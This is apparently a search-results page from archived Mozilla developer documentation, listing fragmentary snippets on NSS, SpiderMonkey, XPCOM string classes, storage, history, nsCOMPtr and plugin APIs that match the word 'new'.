...of the file format, should always be descriptive of the string, and its role in the interface (button label, title, etc.). think of them as long variable names. when you have to change a key id, adding a progressive number to the existing key should always be used as a last resort. for example, suppose this string needs to be changed from "event" to "add
new event":
new-event-header = event add-
new-event-header is definitely a better choice for the
new string than
new-event-header1. if a string is tied to an accesskey or a tooltip, use string ids that highlight this relation:
neweventbtn.label = add event
neweventbtn.accesskey = a
neweventbtn.tooltip = add a
new event don't duplicate ids if you're adding
new strings, check that you're not duplicating an existing id. depending on the pa...
...And 5 more matches
Leak And Bloat Tests
total memory usage (aka bloat). provide a consistent number from build to build where no source code has changed. provide reasonable coverage for the normal activities that a user performs. method current method: measure leaks and bloats, in a similar way to firefox (using xpcom_mem_leak_log and --trace-malloc). the method of testing memory bloat and leaks will be the same sequence of events, using the same set of test data. ...
...-trace-malloc running the tests in your <objdir> run the following command: make mailbloat this will run the tests and produce some result files. see debugging memory leaks for more information on what to do with this data. todo: add more information on processing output. ...
...
news/test/performance these files consist of: overlays (used to provide the hooks for the javascript): bloat/bloataddroverlay.xul bloat/bloatcomposeoverlay.xul bloat/bloatmainoverlay.xul javascript files (used to drive the tests): bloat/bloataddroverlay.js bloat/bloatcomposeoverlay.js bloat/bloatmainoverlay.js preference settings (used to provide a defined profile, see below): common/mail
newstestprefs.js python scripts (used to set up the profile and run the test): bloat/setupbloattest.py bloat/runtest.py common/setupcommonmail
news.py pre-defined profile initial setup: one pop3 account (mails tbd) one identity one smtp server defined (not used) future requirements/possibilities: one address book where pab has ~1000 entries large message folders imap nntp server and subscri...
...And 5 more matches
NSS 3.12.5 release_notes
nss 3.12.5 release notes 2009-12-02
newsgroup: mozilla.dev.tech.crypto introduction network security services (nss) 3.12.5 is a patch release for nss 3.12. the bug fixes in nss 3.12.5 are described in the "bugs fixed" section below. nss 3.12.5 is tri-licensed under the mpl 1.1/gpl 2.0/lgpl 2.1. distribution information the cvs tag for the nss 3.12.5 release is nss_3_12_5_rtm. nss 3.12.5 requires nspr 4.8. you can check out the source from cvs by cvs co -r nspr_4_8_rtm nspr cvs co -r nss_3_12_5_rtm nss see the documentation section for the build instructions. ...
...s nss_3_12_5_rtm. nss 3.12.5 requires nspr 4.8. you can check out the source from cvs by cvs co -r nspr_4_8_rtm nspr cvs co -r nss_3_12_5_rtm nss see the documentation section for the build instructions. nss 3.12.5 source is also available on ftp.mozilla.org for secure https download: source tarball: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_5_rtm/src/.
new in nss 3.12.5 ssl3 & tls renegotiation vulnerability see cve-2009-3555 and us-cert vu#120541 for more information about this security vulnerability. all ssl/tls renegotiation is disabled by default in nss 3.12.5. this will cause programs that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until...
... ssl3 & tls renegotiation vulnerability see cve-2009-3555 and us-cert vu#120541 for more information about this security vulnerability. all ssl/tls renegotiation is disabled by default in nss 3.12.5. this will cause programs that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until such time as a
new safe renegotiation scheme is standardized by the ietf. if an application depends on renegotiation feature, it can be enabled by setting the environment variable nss_ssl_enable_renegotiation to 1. by setting this environmental variable, the fix provided by these patches will have no effect and the application may become vulnerable to the issue. this default setting can also be changed within the...
...And 5 more matches
Enc Dec MAC Output Public Key as CSR
...
... * though pr_errortostring was available, support for it in nss wasn't.
...vkey; } /* * extract the public key request from csr */ seckeypublickey * extractpublickeyfromcertrequest(const char *infilename, prbool ascii) { certsigneddata signeddata; secitem reqder; certcertificaterequest *certreq = null; secstatus rv = secsuccess; prarenapool *arena = null; seckeypublickey *publickey = null; arena = port_
newarena(der_default_chunksize); if (arena == null) { rv = secfailure; goto cleanup; } rv = readderfromfile(&reqder, infilename, ascii); if (rv) { rv = secfailure; goto cleanup; } certreq = (certcertificaterequest*) port_arenazalloc (arena, sizeof(certcertificaterequest)); if (!certreq) { rv = secfailure; goto...
...And 5 more matches
Encrypt Decrypt_MAC_Using Token
secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *ivitem, secitem *paditem) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char
newmac[digestsize]; unsigned int
newmaclen = 0; unsigned int
newptextlen = 0; unsigned int count = 0; unsigned int temp = 0; unsigned int blocknumber = 0; secitem noparams = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigne...
...emp = pr_write(outfile, decbuf, decbuflen); if (temp != decbuflen) { pr_fprintf(pr_stderr, "write error\n"); rv = secfailure; break; } /* save last block of ciphertext. ...
...write(outfile, decbuf, decbuflen); if (temp != decbuflen) { pr_fprintf(pr_stderr, "write error\n"); rv = secfailure; break; } /* save last block of ciphertext. ...
...And 5 more matches
NSS Sample Code Sample_2_Initialization of NSS
try again.\n"); } /*...
...port_strcmp(p0, p1)) { break; } pr_fprintf(pr_stderr, "passwords do not match. ...
... pr_fprintf(pr_stderr, "passwords do not match. ...
...And 5 more matches
Initialize NSS database - sample 2
try again.\n"); } /*...
...p1 && !port_strcmp(p0, p1)) { break; } pr_fprintf(pr_stderr, "passwords do not match. ...
...break; } pr_fprintf(pr_stderr, "passwords do not match. ...
...And 5 more matches
SpiderMonkey 38
spidermonkey 38 is outdated and contains known security vulnerabilities. these release notes are incomplete. the mozilla javascript team is pleased to announce the release of spidermonkey 38. spidermonkey 38 is the javascript engine that shipped in firefox 38. it continues to improve performance over previous spidermonkey releases, with xxx blah blah blah. it also contains
new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine
newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. — sep 17, 2015 the download url is outdated and spidermonkey not release alone! get it here mozilla-esr38 you will find it in "firefox extended support...
...e, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. on some other platforms (sparc, mips), the jit is provided but not supported. on all other platforms the jit is simply disabled; javascript code runs in an interpreter, as in previous versions. it's the same language, just not as fast. migrating to spidermonkey 38 .... xxx will need updating for actual
new gc stuff at time! a major change to spidermonkey in 38 is that its apis support a moving garbage collector. this entailed changing the vast majority of the jsapi from raw types, such as js::value or js::value*, to js::handle and js::mutablehandle template types that encapsulate access to the provided value/string/object or its location. the js::handle<js::value> and js::mutablehandle<js::value...
...hat have changed still have the same names and implement essentially unchanged functionality. applications will need significant changes, but most of those changes will be detected by the c/c++ compiler, so they are easy to detect and updating the code is a fairly straightforward job. here is a list of the most significant changes: .... these and other changes are explained in detail below.
new javascript language features javascript 38 includes significant updates to language features, yo.
new c++ apis jsapi is now a c++-only api. please note that spidermonkey reserves the js:: namespace for itself (and the js:: namespace for internal use). js::clonefunctionobject (bug 1088228) interned_string_to_jsid (bug 1045900) js::construct (bug 1017109) js::createerror (bug 984048) js::...
...And 5 more matches
NS_ConvertASCIItoUTF16
ve all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
... the string. replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar a
newchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar a
newchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& a
newvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetra...
...And 5 more matches
NS_ConvertUTF16toUTF8
ods are used to remove all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
.... @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...rips whitespace throughout the string. replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char a
newchar void replacechar(const char*, char) - source parameters char* aset char a
newchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& a
newvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aigno...
...And 5 more matches
NS_ConvertUTF8toUTF16
ve all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
... the string. replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar a
newchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar a
newchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& a
newvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetra...
...And 5 more matches
NS_LossyConvertUTF16toASCII
ods are used to remove all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
.... @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...rips whitespace throughout the string. replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char a
newchar void replacechar(const char*, char) - source parameters char* aset char a
newchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& a
newvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aigno...
...And 5 more matches
nsAdoptingCString
ods are used to remove all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
.... @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...rips whitespace throughout the string. replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char a
newchar void replacechar(const char*, char) - source parameters char* aset char a
newchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& a
newvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aigno...
...And 5 more matches
nsAdoptingString
ve all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
... the string. replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar a
newchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar a
newchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& a
newvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetra...
...And 5 more matches
nsAutoString
ve all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
... the string. replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar a
newchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar a
newchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& a
newvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetra...
...And 5 more matches
nsCAutoString
all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
... be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...tring. replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char a
newchar void replacechar(const char*, char) - source parameters char* aset char a
newchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& a
newvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing ...
...And 5 more matches
nsCString
ods are used to remove all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
.... @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...rips whitespace throughout the string. replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char a
newchar void replacechar(const char*, char) - source parameters char* aset char a
newchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& a
newvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aigno...
...And 5 more matches
nsDependentCString
ods are used to remove all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
.... @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...rips whitespace throughout the string. replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char a
newchar void replacechar(const char*, char) - source parameters char* aset char a
newchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& a
newvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aigno...
...And 5 more matches
nsDependentString
ve all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
... the string. replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar a
newchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar a
newchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& a
newvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetra...
...And 5 more matches
nsFixedCString
ods are used to remove all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
.... @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...rips whitespace throughout the string. replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char a
newchar void replacechar(const char*, char) - source parameters char* aset char a
newchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& a
newvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aigno...
...And 5 more matches
nsFixedString
ve all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
... the string. replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar a
newchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar a
newchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& a
newvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetra...
...And 5 more matches
nsPromiseFlatCString
ods are used to remove all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
.... @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...rips whitespace throughout the string. replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char a
newchar void replacechar(const char*, char) - source parameters char* aset char a
newchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& a
newvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aigno...
...And 5 more matches
nsPromiseFlatString
ve all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
... the string. replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar a
newchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar a
newchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& a
newvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetra...
...And 5 more matches
nsString
ve all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
... the string. replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar a
newchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar a
newchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& a
newvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetra...
...And 5 more matches
nsXPIDLCString
ods are used to remove all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
.... @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...rips whitespace throughout the string. replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char a
newchar void replacechar(const char*, char) - source parameters char* aset char a
newchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& a
newvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aigno...
...And 5 more matches
nsXPIDLString
ve all occurrences of the characters found in aset from this string. @param aset -- characters to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
...to be cut from this parameters char* aset stripwhitespace void stripwhitespace() - source this method strips whitespace throughout the string. ...
... the string. replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar a
newchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar a
newchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& a
newvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* a
newvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetra...
...And 5 more matches
mozIStorageConnection
atement is run. transaction_immediate 1 a reserved lock is obtained on the database. transaction_exclusive 2 an exclusive lock is obtained on the database. sqlite database page size constant constant value description default_page_size 32768 the default size for sqlite database pages. this is used by the storage api when creating
new databases, and must match the sqlite_default_page_size configured in db/sqlite3/src/makefile.in. methods asyncclose() asynchronously closes a database connection, allowing all pending asynchronous statements to complete first. void asyncclose( in mozistoragecompletioncallback acallback optional ); parameters acallback optional an optional callback handler to be executed when th...
... parameters acallback optional an optional callback handler to be executed when the connection is successfully closed. that object's mozistoragecompletioncallback.complete() routine will be called once the connection is closed. exceptions thrown ns_error_unexpected thrown if the method was called on a thread other than the one that opened the connection. begintransaction() starts a
new transaction deferred transaction. this is the same as calling mozistorageconnection with mozistorageconnection.transaction_deferred. void begintransaction(); parameters none. begintransactionas() this method starts a
new transaction of the given transaction type. see the sqlite documentation on transactions for more details. in javascript, managing transactions can be difficult when you a...
...to start a transaction when one is already active will throw an exception. void begintransactionas( in print32 transactiontype ); parameters transactiontype one of the transaction constants (mozistorageconnection.transaction_deferred, mozistorageconnection.transaction_immediate, mozistorageconnection.transaction_exclusive) clone() clones a database connection, optionally making the
new connection read only. note: if your connection is already read-only, you will get a read-only clone. note: due to a bug in sqlite, if you use the shared cache (by calling mozistorageservice.opendatabase()), the cloned connection's access privileges will be the same as the original connection, regardless of the value you specify for the areadonly parameter. mozistorageconnection clone( in boo...
...And 5 more matches
nsINavHistoryService
sfollowedbookmark(in nsiuri auri); void markpageasfollowedlink(in nsiuri auri); void markpageastyped(in nsiuri auri); boolean canadduri(in nsiuri auri); long long addvisit(in nsiuri auri, in prtime atime, in nsiuri areferringuri, in long atransitiontype, in boolean aisredirect, in long long asessionid); obsolete since gecko 22.0 nsinavhistoryquery get
newquery(); nsinavhistoryqueryoptions get
newqueryoptions(); nsinavhistoryresult executequery(in nsinavhistoryquery aquery, in nsinavhistoryqueryoptions options); nsinavhistoryresult executequeries([array,size_is(aquerycount)] in nsinavhistoryquery aqueries, in unsigned long aquerycount, in nsinavhistoryqueryoptions options); void querystringtoqueries(in autf8string...
...s a lot of history (it must enumerate each item). this is pretty fast. historydisabled boolean true if history is disabled. currently, history is disabled if the browser.history_expire_days pref is "0". constants transition type constants constant value description transition_link 1 this transition type means the user followed a link and got a
new toplevel window. transition_typed 2 this transition type is set when the user typed the url to get to the page. transition_bookmark 3 this transition type is set when the user followed a bookmark to get to the page. transition_embed 4 this transition type is set when some inner content is loaded. this is true of all images on a page, and the contents o...
...ons). boolean canadduri( in nsiuri auri ); parameters auri the uri that needs to be added to the history system. return value returns true if this uri would be added to the history, otherwise returns false. addvisit() obsolete since gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) note: this method was removed in gecko 22.0. you should use the
new async api moziasynchistory.updateplaces() instead. see this code for how a function to add visits and handle errors using the
new api could look like. this method adds a visit for a specific page. this will probably not be commonly used other than for backup/restore type operations. if the uri does not have an entry in the history database already, one will be created with no visits, no title, ...
...And 5 more matches
nsITraceableChannel
ner implementation will get the response data and will be able to pass the data on to the original nsistreamlistener (possibly modifying it). see nsitraceablechannel, intercept http traffic for a more detailed description with code samples. see modify url before loading page in firefox for an overview of how to modify a request before it is made. method overview nsistreamlistener set
newlistener(in nsistreamlistener alistener); methods set
newlistener() replaces the channel's current listener with a
new one, returning the listener previously assigned to the channel. nsistreamlistener set
newlistener( in nsistreamlistener alistener ); parameters alistener an nsistreamlistener to be notified of events on the http channel. return value the previous listener for th...
...ner alistener ); parameters alistener an nsistreamlistener to be notified of events on the http channel. return value the previous listener for the channel. each listener call through to the previous listener for every call, in order to establish a call chain to allow all interested parties a chance to act on each event. implementing nsistreamlistener the nsistreamlistener passed to set
newlistener() should implement the following methods, which are called to notify it of events that occur on the http stream: onstartrequest: an http request is beginning. ondataavailable: data is arriving on the http channel. onstoprequest: the http request is ending. note: it is critical that you pass along requests to the previous listener as soon as possible -- especially for onstartrequest...
...la.org/storagestream;1', 'nsistoragestream', 'init'); function tracinglistener() { this.receivedchunks = []; // array for incoming data. ...
...And 5 more matches
Getting Started Guide
, and less leaks. for instance, here is a typical snippet of code (at its most compact) where you assign a xpcom interface pointer into a member variable, i.e., the body of a `setter' function, side-by-side using raw xpcom interface pointers and nscomptrs. comparison 1. setting a member variable. // raw xpcom interface pointers... // given: |nsifoo* mfooptr;| /* |addref| the
new value if it's not |null|; assign it in; and |release| the old value, if any (so we don't leak it). this order of assignment is special and must be used to avoid particular ownership bugs. */ ns_if_addref(afooptr); nsifoo* temp = mfooptr; mfooptr = afooptr; ns_if_release(temp); // |nscomptr|... // given: |nscomptr<nsifoo> mfooptr;| /* this assignment automati...
...ny (so we don't leak it). this order of assignment is special and must be used to avoid particular ownership bugs. */ ns_if_addref(afooptr); nsifoo* temp = mfooptr; mfooptr = afooptr; ns_if_release(temp); // |nscomptr|... // given: |nscomptr<nsifoo> mfooptr;| /* this assignment automatically |release|s the old value in |mfooptr|, if any, and |addref|s the
new one, in the appropriate sequence to avoid the ownership bug mentioned earlier. */ mfooptr = afooptr; additionally, the class using raw xpcom interface pointers will need a destructor to release mfooptr; and a constructor to ensure that mfooptr is initially set to null (or some other reasonable value). nscomptr helps you write code that is leak-proof, exception safe, an...
...aces, so don't use it with non-interfaces with specific exceptions described below. don't use nscomptrs in xpcom interfaces. don't use them in plain old c code; nscomptrs are, of course, a c++ only construct. never cast an nscomptr, it's almost guaranteed to leak. nscomptrs for non-interface classes appropriately formatted answer to come, in the meanwhile, the full details are available in this
news posting (via google groups). nscomptrs in function signatures in general, you won't want to use nscomptr in the signature of xpcom (i.e., `scriptable') functions. nscomptr is not currently directly supported by idl. however, you may sometime be tempted to use an nscomptr in a non-scriptable function. nscomptr<t> f() don't return an nscomptr this practice is dangerous. returning an addrefed p...
...And 5 more matches
Initialization and Destruction - Plugins
« previousnext » this chapter describes the methods that provide the basic processes of initialization, instance creation and destruction, and shutdown. initialization: the browser calls the plug-in api function np_initialize when the plug-in code is first loaded. instance creation: the browser calls the plug-in api function npp_
new when the instance is created. instance destruction: the plug-in instance is deleted when the user leaves the instance page or closes the instance window; the browser calls the function npp_destroy to tell the plug-in that the instance is being deleted. shutdown: when the last instance of a plug-in is deleted, the plug-in code is unloaded from memory and the browser calls the function np_shutdown. plug-ins consume no resources, other than di...
...esources allocated by np_initialize. for an example that shows the use of both the np_initialize and np_shutdown methods, see initialize and shutdown example. during initialization, when the browser encounters data of a mime type registered for a plug-in (either embedded in an html page or in a separate file), it loads the plug-in code into memory (if it hasn't been loaded already) and creates a
new instance of the plug-in. for more information, see registering plug-ins. plug-ins are native code libraries: .dll files on windows, .so or .dso files on unix, and powerpc shared library files or 68k code resources on mac os. to reduce memory overhead, plug-ins are usually loaded only when needed and released as soon as possible. in the initialization process, the browser passes the plug-in two ...
...on after initialization, the plug-in instance is created. more than one instance of the same plug-in can exist if a single page contains multiple embedded plug-ins, or if several browser windows are open and display the same data type. at this point, a plug-in can call the npn_setvalue function to specify whether it is windowed (the default) or windowless. ...
...And 5 more matches
Plug-in Basics - Plugins
-ins like these are now available: multimedia viewers such as adobe flash and adobe acrobat utilities that provide object embedding and compression/decompression services applications that range from personal information managers to games the range of possibilities for using plug-in technology seems boundless, as shown by the growing numbers of independent software vendors who are creating
new and innovative plug-ins. with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using urls post data to urls add hyperlinks or hotspots that link to
new urls draw into sections on an html page communicate with javascript/dom from native...
... system. for more information about where gecko looks for plugin modules on different systems, see how gecko finds plug-ins. when the user opens a page that contains embedded data of a media type that invokes a plug-in, the browser responds with the following sequence of actions: check for a plug-in with a matching mime type load the plug-in code into memory initialize the plug-in create a
